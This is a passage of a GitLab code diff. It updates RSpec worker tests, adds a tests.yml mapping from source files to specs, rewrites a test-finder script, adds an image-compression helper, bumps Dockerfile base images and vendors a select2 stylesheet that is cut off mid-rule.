+ allow(Gitlab::Database::Partitioning::PartitionMonitoring).to receive(:new).and_return(monitoring)
end
it 'delegates to PartitionCreator' do
expect(creator).to receive(:create_partitions)
- described_class.new.perform
+ subject
+ end
+
+ it 'reports partition metrics' do
+ expect(monitoring).to receive(:report_metrics)
+
+ subject
end
end
end
diff --git a/spec/workers/personal_access_tokens/expired_notification_worker_spec.rb b/spec/workers/personal_access_tokens/expired_notification_worker_spec.rb
index 676a419553f..3ff67f47523 100644
--- a/spec/workers/personal_access_tokens/expired_notification_worker_spec.rb
+++ b/spec/workers/personal_access_tokens/expired_notification_worker_spec.rb
@@ -9,32 +9,16 @@ RSpec.describe PersonalAccessTokens::ExpiredNotificationWorker, type: :worker do
context 'when a token has expired' do
let(:expired_today) { create(:personal_access_token, expires_at: Date.current) }
- context 'when feature is enabled' do
- it 'uses notification service to send email to the user' do
- expect_next_instance_of(NotificationService) do |notification_service|
- expect(notification_service).to receive(:access_token_expired).with(expired_today.user)
- end
-
- worker.perform
+ it 'uses notification service to send email to the user' do
+ expect_next_instance_of(NotificationService) do |notification_service|
+ expect(notification_service).to receive(:access_token_expired).with(expired_today.user)
end
- it 'updates notified column' do
- expect { worker.perform }.to change { expired_today.reload.after_expiry_notification_delivered }.from(false).to(true)
- end
+ worker.perform
end
- context 'when feature is disabled' do
- before do
- stub_feature_flags(expired_pat_email_notification: false)
- end
-
- it 'does not update notified column' do
- expect { worker.perform }.not_to change { expired_today.reload.after_expiry_notification_delivered }
- end
-
- it 'does not trigger email' do
- expect { worker.perform }.not_to change { ActionMailer::Base.deliveries.count }
- end
+ it 'updates notified column' do
+ expect { worker.perform }.to change { expired_today.reload.after_expiry_notification_delivered }.from(false).to(true)
end
end
diff --git a/spec/workers/pipeline_update_ci_ref_status_worker_service_spec.rb b/spec/workers/pipeline_update_ci_ref_status_worker_service_spec.rb
deleted file mode 100644
index 4e7af16c63d..00000000000
--- a/spec/workers/pipeline_update_ci_ref_status_worker_service_spec.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-# NOTE: This class is unused and to be removed in 13.1~
-RSpec.describe PipelineUpdateCiRefStatusWorker do
- let(:worker) { described_class.new }
- let(:pipeline) { create(:ci_pipeline) }
-
- describe '#perform' do
- it 'updates the ci_ref status' do
- expect(Ci::UpdateCiRefStatusService).to receive(:new)
- .with(pipeline)
- .and_return(double(call: true))
-
- worker.perform(pipeline.id)
- end
- end
-end
diff --git a/spec/workers/post_receive_spec.rb b/spec/workers/post_receive_spec.rb
index f64ee4aa2f7..50d164d1705 100644
--- a/spec/workers/post_receive_spec.rb
+++ b/spec/workers/post_receive_spec.rb
@@ -27,7 +27,7 @@ RSpec.describe PostReceive do
context 'with a non-existing project' do
let(:gl_repository) { "project-123456789" }
let(:error_message) do
- "Triggered hook for non-existing project with gl_repository \"#{gl_repository}\""
+ "Triggered hook for non-existing gl_repository \"#{gl_repository}\""
end
it "returns false and logs an error" do
@@ -314,7 +314,7 @@ RSpec.describe PostReceive do
it 'processes the changes on the master branch' do
expect_next_instance_of(Git::WikiPushService) do |service|
- expect(service).to receive(:process_changes).and_call_original
+ expect(service).to receive(:execute).and_call_original
end
expect(project.wiki).to receive(:default_branch).twice.and_return(default_branch)
expect(project.wiki.repository).to receive(:raw).and_return(raw_repo)
@@ -334,7 +334,7 @@ RSpec.describe PostReceive do
before do
allow_next_instance_of(Git::WikiPushService) do |service|
- allow(service).to receive(:process_changes)
+ allow(service).to receive(:execute)
end
end
diff --git a/spec/workers/propagate_integration_worker_spec.rb b/spec/workers/propagate_integration_worker_spec.rb
index 3fe76f14750..b8c7f2bebe7 100644
--- a/spec/workers/propagate_integration_worker_spec.rb
+++ b/spec/workers/propagate_integration_worker_spec.rb
@@ -17,8 +17,13 @@ RSpec.describe PropagateIntegrationWorker do
end
it 'calls the propagate service with the integration' do
- expect(Admin::PropagateIntegrationService).to receive(:propagate)
- .with(integration: integration, overwrite: true)
+ expect(Admin::PropagateIntegrationService).to receive(:propagate).with(integration)
+
+ subject.perform(integration.id)
+ end
+
+ it 'ignores overwrite parameter from previous version' do
+ expect(Admin::PropagateIntegrationService).to receive(:propagate).with(integration)
subject.perform(integration.id, true)
end
diff --git a/spec/workers/propagate_service_template_worker_spec.rb b/spec/workers/propagate_service_template_worker_spec.rb
index 48151b25d4b..793f0b9b08c 100644
--- a/spec/workers/propagate_service_template_worker_spec.rb
+++ b/spec/workers/propagate_service_template_worker_spec.rb
@@ -21,7 +21,7 @@ RSpec.describe PropagateServiceTemplateWorker do
stub_exclusive_lease("propagate_service_template_worker:#{template.id}",
timeout: PropagateServiceTemplateWorker::LEASE_TIMEOUT)
- expect(Projects::PropagateServiceTemplate)
+ expect(Admin::PropagateServiceTemplate)
.to receive(:propagate)
.with(template)
diff --git a/spec/workers/remote_mirror_notification_worker_spec.rb b/spec/workers/remote_mirror_notification_worker_spec.rb
index c6fd614fdea..e415e72645c 100644
--- a/spec/workers/remote_mirror_notification_worker_spec.rb
+++ b/spec/workers/remote_mirror_notification_worker_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe RemoteMirrorNotificationWorker, :mailer do
let_it_be(:project) { create(:project, :repository, :remote_mirror) }
let_it_be(:mirror) { project.remote_mirrors.first }
- describe '#execute' do
+ describe '#perform' do
it 'calls NotificationService#remote_mirror_update_failed when the mirror exists' do
mirror.update_column(:last_error, "There was a problem fetching")
diff --git a/spec/workers/remove_unreferenced_lfs_objects_worker_spec.rb b/spec/workers/remove_unreferenced_lfs_objects_worker_spec.rb
index f14c2b67f2c..21b9a7b844b 100644
--- a/spec/workers/remove_unreferenced_lfs_objects_worker_spec.rb
+++ b/spec/workers/remove_unreferenced_lfs_objects_worker_spec.rb
@@ -16,21 +16,21 @@ RSpec.describe RemoveUnreferencedLfsObjectsWorker do
create(:lfs_objects_project,
project: project1,
lfs_object: referenced_lfs_object1
- )
+ )
end
let!(:lfs_objects_project2_1) do
create(:lfs_objects_project,
project: project2,
lfs_object: referenced_lfs_object1
- )
+ )
end
let!(:lfs_objects_project1_2) do
create(:lfs_objects_project,
project: project1,
lfs_object: referenced_lfs_object2
- )
+ )
end
it 'removes unreferenced lfs objects' do
diff --git a/spec/workers/repository_fork_worker_spec.rb b/spec/workers/repository_fork_worker_spec.rb
index 0f2d4eb4b65..9c46b1e2a87 100644
--- a/spec/workers/repository_fork_worker_spec.rb
+++ b/spec/workers/repository_fork_worker_spec.rb
@@ -87,7 +87,7 @@ RSpec.describe RepositoryForkWorker do
it 'calls Projects::LfsPointers::LfsLinkService#execute with OIDs of source project LFS objects' do
expect_fork_repository(success: true)
expect_next_instance_of(Projects::LfsPointers::LfsLinkService) do |service|
- expect(service).to receive(:execute).with(project.all_lfs_objects_oids)
+ expect(service).to receive(:execute).with(project.lfs_objects_oids)
end
perform!
diff --git a/spec/workers/repository_update_remote_mirror_worker_spec.rb b/spec/workers/repository_update_remote_mirror_worker_spec.rb
index c6e667097ec..858f5226c48 100644
--- a/spec/workers/repository_update_remote_mirror_worker_spec.rb
+++ b/spec/workers/repository_update_remote_mirror_worker_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe RepositoryUpdateRemoteMirrorWorker, :clean_gitlab_redis_shared_st
let(:scheduled_time) { Time.current - 5.minutes }
around do |example|
- Timecop.freeze(Time.current) { example.run }
+ freeze_time { example.run }
end
def expect_mirror_service_to_return(mirror, result, tries = 0)
diff --git a/spec/workers/run_pipeline_schedule_worker_spec.rb b/spec/workers/run_pipeline_schedule_worker_spec.rb
index 4999909934b..0b9f95e09fe 100644
--- a/spec/workers/run_pipeline_schedule_worker_spec.rb
+++ b/spec/workers/run_pipeline_schedule_worker_spec.rb
@@ -59,7 +59,7 @@ RSpec.describe RunPipelineScheduleWorker do
end
it 'logging a pipeline error' do
- expect(Rails.logger)
+ expect(Gitlab::AppLogger)
.to receive(:error)
.with(a_string_matching('ActiveRecord::StatementInvalid'))
.and_call_original
diff --git a/tests.yml b/tests.yml
new file mode 100644
index 00000000000..d24cc44a403
--- /dev/null
+++ b/tests.yml
@@ -0,0 +1,54 @@
+mapping:
+ # EE code should map to respective spec
+ - source: ee/app/(.+)\.rb
+ test: ee/spec/%s_spec.rb
+ # FOSS code should map to respective spec
+ - source: app/(.+)\.rb
+ test: spec/%s_spec.rb
+
+ # EE extension should also map to its FOSS class spec
+ - source: ee/app/(.*/)ee/(.+)\.rb
+ test: spec/%s%s_spec.rb
+
+ # Some EE extensions also map to its EE class spec, but this is not recommended:
+ # https://docs.gitlab.com/ee/development/ee_features.html#testing-ee-features-based-on-ce-features
+ - source: ee/app/(.*/)ee/(.+)\.rb
+ test: ee/spec/%s%s_spec.rb
+
+ # EE lib should map to respective spec
+ - source: ee/lib/(.+)\.rb
+ test: ee/spec/lib/%s_spec.rb
+
+ # FOSS lib & tooling should map to respective spec
+ - source: (tooling/)?lib/(.+)\.rb
+ test: spec/%slib/%s_spec.rb
+
+ # Initializers should map to respective spec
+ - source: config/initializers/(.+)\.rb
+ test: spec/initializers/%s_spec.rb
+
+ # DB structure should map to schema spec
+ - source: db/structure.sql
+ test: spec/db/schema_spec.rb
+
+ # Migration should map to either timestamped or non-timestamped spec
+ - source: db/(?:post_)?migrate/(?:[0-9]+)_(.+)\.rb
+ test: spec/migrations/%s_spec.rb
+ - source: db/(?:post_)?migrate/([0-9]+)_(.+)\.rb
+ test: spec/migrations/%s_%s_spec.rb
+
+ # EE/FOSS views should map to respective spec
+ - source: (ee/)?app/views/(.+)\.haml
+ test: '%sspec/views/%s.haml_spec.rb'
+
+ # EE/FOSS spec code should map to itself
+ - source: (ee/)?spec/(.+)_spec\.rb
+ test: '%sspec/%s_spec.rb'
+
+ # EE extension spec should map to its FOSS class spec
+ - source: ee/spec/(.*/)ee/(.+)\.rb
+ test: spec/%s%s.rb
+
+ # EE/FOSS factory should map to factories spec
+ - source: (ee/)?spec/factories/.+\.rb
+ test: spec/factories_spec.rb
diff --git a/tooling/bin/find_foss_tests b/tooling/bin/find_foss_tests
index c694210ad40..9cd8a616ad0 100755
--- a/tooling/bin/find_foss_tests
+++ b/tooling/bin/find_foss_tests
@@ -1,10 +1,8 @@
#!/usr/bin/env ruby
# frozen_string_literal: true
-require_relative '../../lib/gitlab/popen'
-require_relative '../lib/tooling/test_file_finder'
-
require 'gitlab'
+require 'test_file_finder'
gitlab_token = ENV.fetch('DANGER_GITLAB_API_TOKEN', '')
@@ -21,9 +19,7 @@ mr_iid = ENV.fetch('CI_MERGE_REQUEST_IID')
mr_changes = Gitlab.merge_request_changes(mr_project_path, mr_iid)
changed_files = mr_changes.changes.map { |change| change['new_path'] }
-tests_to_run = changed_files.flat_map do |file|
- test_files = Tooling::TestFileFinder.new(file, foss_test_only: true).test_files
- test_files.select { |f| File.exist?(f) }
-end
+mapping = TestFileFinder::Mapping.load('tests.yml')
+test_files = TestFileFinder::FileFinder.new(paths: changed_files, mapping: mapping).test_files
-File.write(output_file, tests_to_run.uniq.join(' '))
+File.write(output_file, test_files.uniq.join(' '))
diff --git a/tooling/lib/tooling/images.rb b/tooling/lib/tooling/images.rb
new file mode 100644
index 00000000000..d0c464b983c
--- /dev/null
+++ b/tooling/lib/tooling/images.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+module Tooling
+ module Image
+ # Determine the tolerance till when we run pngquant in a loop
+ TOLERANCE = 10000
+
+ def self.check_executables
+ unless system('pngquant --version', out: File::NULL)
+ warn(
+ 'Error: pngquant executable was not detected in the system.',
+ 'Download pngquant at https://pngquant.org/ and place the executable in /usr/local/bin'
+ )
+ abort
+ end
+
+ unless system('gm version', out: File::NULL)
+ warn(
+ 'Error: gm executable was not detected in the system.',
+ 'Please install imagemagick: brew install imagemagick or sudo apt install imagemagick'
+ )
+ abort
+ end
+ end
+
+ def self.compress_image(file, keep_original = false)
+ check_executables
+
+ compressed_file = "#{file}.compressed"
+ FileUtils.copy(file, compressed_file)
+
+ pngquant_file = PngQuantizator::Image.new(compressed_file)
+
+ # Run the image repeatedly through pngquant until
+ # the change in file size is within TOLERANCE
+ # or the loop count is above 1000
+ 1000.times do
+ before = File.size(compressed_file)
+ pngquant_file.quantize!
+ after = File.size(compressed_file)
+ break if before - after <= TOLERANCE
+ end
+
+ savings = File.size(file) - File.size(compressed_file)
+ is_uncompressed = savings > TOLERANCE
+
+ if is_uncompressed && !keep_original
+ FileUtils.copy(compressed_file, file)
+ end
+
+ FileUtils.remove(compressed_file)
+
+ [is_uncompressed, savings]
+ end
+ end
+end
diff --git a/vendor/Dockerfile/Binary.Dockerfile b/vendor/Dockerfile/Binary.Dockerfile
index e7d560da9ac..850b487e18f 100644
--- a/vendor/Dockerfile/Binary.Dockerfile
+++ b/vendor/Dockerfile/Binary.Dockerfile
@@ -2,7 +2,7 @@
# You must either commit your compiled binary into source control (not recommended)
# or build the binary first as part of a CI/CD pipeline.
-FROM buildpack-deps:jessie
+FROM buildpack-deps:buster
WORKDIR /usr/local/bin
diff --git a/vendor/Dockerfile/Golang.Dockerfile b/vendor/Dockerfile/Golang.Dockerfile
index ec94914be19..f9699dff665 100644
--- a/vendor/Dockerfile/Golang.Dockerfile
+++ b/vendor/Dockerfile/Golang.Dockerfile
@@ -6,7 +6,7 @@ COPY . .
RUN go-wrapper download
RUN go build -v
-FROM buildpack-deps:jessie
+FROM buildpack-deps:buster
WORKDIR /usr/local/bin
diff --git a/vendor/assets/stylesheets/select2.scss b/vendor/assets/stylesheets/select2.scss
new file mode 100644
index 00000000000..228f22941b2
--- /dev/null
+++ b/vendor/assets/stylesheets/select2.scss
@@ -0,0 +1,704 @@
+/*
+Version: 3.5.2 Timestamp: Sat Nov 1 14:43:36 EDT 2014
+*/
+.select2-container {
+ margin: 0;
+ position: relative;
+ display: inline-block;
+ /* inline-block for ie7 */
+ zoom: 1;
+ *display: inline;
+ vertical-align: middle;
+}
+
+.select2-container,
+.select2-drop,
+.select2-search,
+.select2-search input {
+/*
+ Force border-box so that % widths fit the parent
+ container without overlap because of margin/padding.
+ More Info : http://www.quirksmode.org/css/box.html
+*/
+-webkit-box-sizing: border-box; /* webkit */
+ -moz-box-sizing: border-box; /* firefox */
+ box-sizing: border-box; /* css3 */
+}
+
+.select2-container .select2-choice {
+ display: block;
+ height: 26px;
+ padding: 0 0 0 8px;
+ overflow: hidden;
+ position: relative;
+
+ border: 1px solid #aaa;
+ white-space: nowrap;
+ line-height: 26px;
+ color: #444;
+ text-decoration: none;
+
+ border-radius: 4px;
+
+ background-clip: padding-box;
+
+ -webkit-touch-callout: none;
+ -webkit-user-select: none;
+ -moz-user-select: none;
+ -ms-user-select: none;
+ user-select: none;
+
+ background-color: #fff;
+ background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(0.5, #fff));
+ background-image: -webkit-linear-gradient(center bottom, #eee 0%, #fff 50%);
+ background-image: -moz-linear-gradient(center bottom, #eee 0%, #fff 50%);
+ filter: progid:DXImageTransform.Microsoft.gradient(startColorstr = '#ffffff', endColorstr = '#eeeeee', GradientType = 0);
+ background-image: linear-gradient(to top, #eee 0%, #fff 50%);
+}
+
+html[dir="rtl"] .select2-container .select2-choice {
+ padding: 0 8px 0 0;
+}
+
+.select2-container.select2-drop-above .select2-choice {
+ border-bottom-color: #aaa;
+
+ border-radius: 0 0 4px 4px;
+
+ background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(0.9, #fff));
+ background-image: -webkit-linear-gradient(center bottom, #eee 0%, #fff 90%);
+ background-image: -moz-linear-gradient(center bottom, #eee 0%, #fff 90%);
+ filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0);
+ background-image: linear-gradient(to bottom, #eee 0%, #fff 90%);
+}
+
+.select2-container.select2-allowclear .select2-choice .select2-chosen {
+ margin-right: 42px;
+}
+
+.select2-container .select2-choice > .select2-chosen {
+ margin-right: 26px;
+ display: block;
+ overflow: hidden;
+
+ white-space: nowrap;
+
+ text-overflow: ellipsis;
+ float: none;
+ width: auto;
+}
+
+html[dir="rtl"] .select2-container .select2-choice > .select2-chosen {
+ margin-left: 26px;
+ margin-right: 0;
+}
+
+.select2-container .select2-choice abbr {
+ display: none;
+ width: 12px;
+ height: 12px;
+ position: absolute;
+ right: 24px;
+ top: 8px;
+
+ font-size: 1px;
+ text-decoration: none;
+
+ border: 0;
+ background: url(image-path('select2.png')) right top no-repeat;
+ cursor: pointer;
+ outline: 0;
+}
+
+.select2-container.select2-allowclear .select2-choice abbr {
+ display: inline-block;
+}
+
+.select2-container .select2-choice abbr:hover {
+ background-position: right -11px;
+ cursor: pointer;
+}
+
+.select2-drop-mask {
+ border: 0;
+ margin: 0;
+ padding: 0;
+ position: fixed;
+ left: 0;
+ top: 0;
+ min-height: 100%;
+ min-width: 100%;
+ height: auto;
+ width: auto;
+ opacity: 0;
+ z-index: 9998;
+ /* styles required for IE to work */
+ background-color: #fff;
+ filter: alpha(opacity=0);
+}
+
+.select2-drop {
+ width: 100%;
+ margin-top: -1px;
+ position: absolute;
+ z-index: 9999;
+ top: 100%;
+
+ background: #fff;
+ color: #000;
+ border: 1px solid #aaa;
+ border-top: 0;
+
+ border-radius: 0 0 4px 4px;
+
+ -webkit-box-shadow: 0 4px 5px rgba(0, 0, 0, .15);
+ box-shadow: 0 4px 5px rgba(0, 0, 0, .15);
+}
+
+.select2-drop.select2-drop-above {
+ margin-top: 1px;
+ border-top: 1px solid #aaa;
+ border-bottom: 0;
+
+ border-radius: 4px 4px 0 0;
+
+ -webkit-box-shadow: 0 -4px 5px rgba(0, 0, 0, .15);
+ box-shadow: 0 -4px 5px rgba(0, 0, 0, .15);
+}
+
+.select2-drop-active {
+ border: 1px solid #5897fb;
+ border-top: none;
+}
+
+.select2-drop.select2-drop-above.select2-drop-active {
+ border-top: 1px solid #5897fb;
+}
+
+.select2-drop-auto-width {
+ border-top: 1px solid #aaa;
+ width: auto;
+}
+
+.select2-drop-auto-width .select2-search {
+ padding-top: 4px;
+}
+
+.select2-container .select2-choice .select2-arrow {
+ display: inline-block;
+ width: 18px;
+ height: 100%;
+ position: absolute;
+ right: 0;
+ top: 0;
+
+ border-left: 1px solid #aaa;
+ border-radius: 0 4px 4px 0;
+
+ background-clip: padding-box;
+
+ background: #ccc;
+ background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #ccc), color-stop(0.6, #eee));
+ background-image: -webkit-linear-gradient(center bottom, #ccc 0%, #eee 60%);
+ background-image: -moz-linear-gradient(center bottom, #ccc 0%, #eee 60%);
+ filter: progid:DXImageTransform.Microsoft.gradient(startColorstr = '#eeeeee', endColorstr = '#cccccc', GradientType = 0);
+ background-image: linear-gradient(to top, #ccc 0%, #eee 60%);
+}
+
+html[dir="rtl"] .select2-container .select2-choice .select2-arrow {
+ left: 0;
+ right: auto;
+
+ border-left: none;
+ border-right: 1px solid #aaa;
+ border-radius: 4px 0 0 4px;
+}
+
+.select2-container .select2-choice .select2-arrow b {
+ display: block;
+ width: 100%;
+ height: 100%;
+ background: url(image-path('select2.png')) no-repeat 0 1px;
+}
+
+html[dir="rtl"] .select2-container .select2-choice .select2-arrow b {
+ background-position: 2px 1px;
+}
+
+.select2-search {
+ display: inline-block;
+ width: 100%;
+ min-height: 26px;
+ margin: 0;
+ padding-left: 4px;
+ padding-right: 4px;
+
+ position: relative;
+ z-index: 10000;
+
+ white-space: nowrap;
+}
+
+.select2-search input {
+ width: 100%;
+ height: auto !important;
+ min-height: 26px;
+ padding: 4px 20px 4px 5px;
+ margin: 0;
+
+ outline: 0;
+ font-family: sans-serif;
+ font-size: 1em;
+
+ border: 1px solid #aaa;
+ border-radius: 0;
+
+ -webkit-box-shadow: none;
+ box-shadow: none;
+
+ background: #fff url(image-path('select2.png')) no-repeat 100% -22px;
+ background: url(image-path('select2.png')) no-repeat 100% -22px, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee));
+ background: url(image-path('select2.png')) no-repeat 100% -22px, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%);
+ background: url(image-path('select2.png')) no-repeat 100% -22px, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%);
+ background: url(image-path('select2.png')) no-repeat 100% -22px, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0;
+}
+
+html[dir="rtl"] .select2-search input {
+ padding: 4px 5px 4px 20px;
+
+ background: #fff url(image-path('select2.png')) no-repeat -37px -22px;
+ background: url(image-path('select2.png')) no-repeat -37px -22px, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee));
+ background: url(image-path('select2.png')) no-repeat -37px -22px, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%);
+ background: url(image-path('select2.png')) no-repeat -37px -22px, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%);
+ background: url(image-path('select2.png')) no-repeat -37px -22px, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0;
+}
+
+.select2-drop.select2-drop-above .select2-search input {
+ margin-top: 4px;
+}
+
+.select2-search input.select2-active {
+ background: #fff url(image-path('select2-spinner.gif')) no-repeat 100%;
+ background: url(image-path('select2-spinner.gif')) no-repeat 100%, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee));
+ background: url(image-path('select2-spinner.gif')) no-repeat 100%, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%);
+ background: url(image-path('select2-spinner.gif')) no-repeat 100%, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%);
+ background: url(image-path('select2-spinner.gif')) no-repeat 100%, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0;
+}
+
+.select2-container-active .select2-choice,
+.select2-container-active .select2-choices {
+ border: 1px solid #5897fb;
+ outline: none;
+
+ -webkit-box-shadow: 0 0 5px rgba(0, 0, 0, .3);
+ box-shadow: 0 0 5px rgba(0, 0, 0, .3);
+}
+
+.select2-dropdown-open .select2-choice {
+ border-bottom-color: transparent;
+ -webkit-box-shadow: 0 1px 0 #fff inset;
+ box-shadow: 0 1px 0 #fff inset;
+
+ border-bottom-left-radius: 0;
+ border-bottom-right-radius: 0;
+
+ background-color: #eee;
+ background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #fff), color-stop(0.5, #eee));
+ background-image: -webkit-linear-gradient(center bottom, #fff 0%, #eee 50%);
+ background-image: -moz-linear-gradient(center bottom, #fff 0%, #eee 50%);
+ filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0);
+ background-image: linear-gradient(to top, #fff 0%, #eee 50%);
+}
+
+.select2-dropdown-open.select2-drop-above .select2-choice,
+.select2-dropdown-open.select2-drop-above .select2-choices {
+ border: 1px solid #5897fb;
+ border-top-color: transparent;
+
+ background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0, #fff), color-stop(0.5, #eee));
+ background-image: -webkit-linear-gradient(center top, #fff 0%, #eee 50%);
+ background-image: -moz-linear-gradient(center top, #fff 0%, #eee 50%);
+ filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0);
+ background-image: linear-gradient(to bottom, #fff 0%, #eee 50%);
+}
+
+.select2-dropdown-open .select2-choice .select2-arrow {
+ background: transparent;
+ border-left: none;
+ filter: none;
+}
+html[dir="rtl"] .select2-dropdown-open .select2-choice .select2-arrow {
+ border-right: none;
+}
+
+.select2-dropdown-open .select2-choice .select2-arrow b {
+ background-position: -18px 1px;
+}
+
+html[dir="rtl"] .select2-dropdown-open .select2-choice .select2-arrow b {
+ background-position: -16px 1px;
+}
+
+.select2-hidden-accessible {
+ border: 0;
+ clip: rect(0 0 0 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ width: 1px;
+}
+
+/* results */
+.select2-results {
+ max-height: 200px;
+ padding: 0 0 0 4px;
+ margin: 4px 4px 4px 0;
+ position: relative;
+ overflow-x: hidden;
+ overflow-y: auto;
+ -webkit-tap-highlight-color: rgba(0, 0, 0, 0);
+}
+
+html[dir="rtl"] .select2-results {
+ padding: 0 4px 0 0;
+ margin: 4px 0 4px 4px;
+}
+
+.select2-results ul.select2-result-sub {
+ margin: 0;
+ padding-left: 0;
+}
+
+.select2-results li {
+ list-style: none;
+ display: list-item;
+ background-image: none;
+}
+
+.select2-results li.select2-result-with-children > .select2-result-label {
+ font-weight: bold;
+}
+
+.select2-results .select2-result-label {
+ padding: 3px 7px 4px;
+ margin: 0;
+ cursor: pointer;
+
+ min-height: 1em;
+
+ -webkit-touch-callout: none;
+ -webkit-user-select: none;
+ -moz-user-select: none;
+ -ms-user-select: none;
+ user-select: none;
+}
+
+.select2-results-dept-1 .select2-result-label { padding-left: 20px }
+.select2-results-dept-2 .select2-result-label { padding-left: 40px }
+.select2-results-dept-3 .select2-result-label { padding-left: 60px }
+.select2-results-dept-4 .select2-result-label { padding-left: 80px }
+.select2-results-dept-5 .select2-result-label { padding-left: 100px }
+.select2-results-dept-6 .select2-result-label { padding-left: 110px }
+.select2-results-dept-7 .select2-result-label { padding-left: 120px }
+
+.select2-results .select2-highlighted {
+ background: #3875d7;
+ color: #fff;
+}
+
+.select2-results li em {
+ background: #feffde;
+ font-style: normal;
+}
+
+.select2-results .select2-highlighted em {
+ background: transparent;
+}
+
+.select2-results .select2-highlighted ul {
+ background: #fff;
+ color: #000;
+}
+
+.select2-results .select2-no-results,
+.select2-results .select2-searching,
+.select2-results .select2-ajax-error,
+.select2-results .select2-selection-limit {
+ background: #f4f4f4;
+ display: list-item;
+ padding-left: 5px;
+}
+
+/*
+disabled look for disabled choices in the results dropdown
+*/
+.select2-results .select2-disabled.select2-highlighted {
+ color: #666;
+ background: #f4f4f4;
+ display: list-item;
+ cursor: default;
+}
+.select2-results .select2-disabled {
+background: #f4f4f4;
+display: list-item;
+cursor: default;
+}
+
+.select2-results .select2-selected {
+ display: none;
+}
+
+.select2-more-results.select2-active {
+ background: #f4f4f4 url(image-path('select2-spinner.gif')) no-repeat 100%;
+}
+
+.select2-results .select2-ajax-error {
+ background: rgba(255, 50, 50, .2);
+}
+
+.select2-more-results {
+ background: #f4f4f4;
+ display: list-item;
+}
+
+/* disabled styles */
+
+.select2-container.select2-container-disabled .select2-choice {
+ background-color: #f4f4f4;
+ background-image: none;
+ border: 1px solid #ddd;
+ cursor: default;
+}
+
+.select2-container.select2-container-disabled .select2-choice .select2-arrow {
+ background-color: #f4f4f4;
+ background-image: none;
+ border-left: 0;
+}
+
+.select2-container.select2-container-disabled .select2-choice abbr {
+ display: none;
+}
+
+
+/* multiselect */
+
+.select2-container-multi .select2-choices {
+ height: auto !important;
+ height: 1%;
+ margin: 0;
+ padding: 0 5px 0 0;
+ position: relative;
+
+ border: 1px solid #aaa;
+ cursor: text;
+ overflow: hidden;
+
+ background-color: #fff;
+ background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(1%, #eee), color-stop(15%, #fff));
+ background-image: -webkit-linear-gradient(top, #eee 1%, #fff 15%);
+ background-image: -moz-linear-gradient(top, #eee 1%, #fff 15%);
+ background-image: linear-gradient(to bottom, #eee 1%, #fff 15%);
+}
+
+html[dir="rtl"] .select2-container-multi .select2-choices {
+ padding: 0 0 0 5px;
+}
+
+.select2-locked {
+padding: 3px 5px 3px 5px !important;
+}
+
+.select2-container-multi .select2-choices {
+ min-height: 26px;
+}
+
+.select2-container-multi.select2-container-active .select2-choices {
+ border: 1px solid #5897fb;
+ outline: none;
+
+ -webkit-box-shadow: 0 0 5px rgba(0, 0, 0, .3);
+ box-shadow: 0 0 5px rgba(0, 0, 0, .3);
+}
+.select2-container-multi .select2-choices li {
+ float: left;
+ list-style: none;
+}
+html[dir="rtl"] .select2-container-multi .select2-choices li
+{
+ float: right;
+}
+.select2-container-multi .select2-choices .select2-search-field {
+ margin: 0;
+ padding: 0;
+ white-space: nowrap;
+}
+
+.select2-container-multi .select2-choices .select2-search-field input {
+ padding: 5px;
+ margin: 1px 0;
+
+ font-family: sans-serif;
+ font-size: 100%;
+ color: #666;
+ outline: 0;
+ border: 0;
+ -webkit-box-shadow: none;
+ box-shadow: none;
+ background: transparent !important;
+}
+
+.select2-container-multi .select2-choices .select2-search-field input.select2-active {
+ background: #fff url(image-path('select2-spinner.gif')) no-repeat 100% !important;
+}
+
+.select2-default {
+ color: #999 !important;
+}
+
+.select2-container-multi .select2-choices .select2-search-choice {
+ padding: 3px 5px 3px 18px;
+ margin: 3px 0 3px 5px;
+ position: relative;
+
+ line-height: 13px;
+ color: #333;
+ cursor: default;
+ border: 1px solid #aaaaaa;
+
+ border-radius: 3px;
+
+ -webkit-box-shadow: 0 0 2px #fff inset, 0 1px 0 rgba(0, 0, 0, 0.05);
+ box-shadow: 0 0 2px #fff inset, 0 1px 0 rgba(0, 0, 0, 0.05);
+
+ background-clip: padding-box;
+
+ -webkit-touch-callout: none;
+ -webkit-user-select: none;
+ -moz-user-select: none;
+ -ms-user-select: none;
+ user-select: none;
+
+ background-color: #e4e4e4;
+ filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#f4f4f4', GradientType=0);
+ background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(20%, #f4f4f4), color-stop(50%, #f0f0f0), color-stop(52%, #e8e8e8), color-stop(100%, #eee));
+ background-image: -webkit-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%);
+ background-image: -moz-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%);
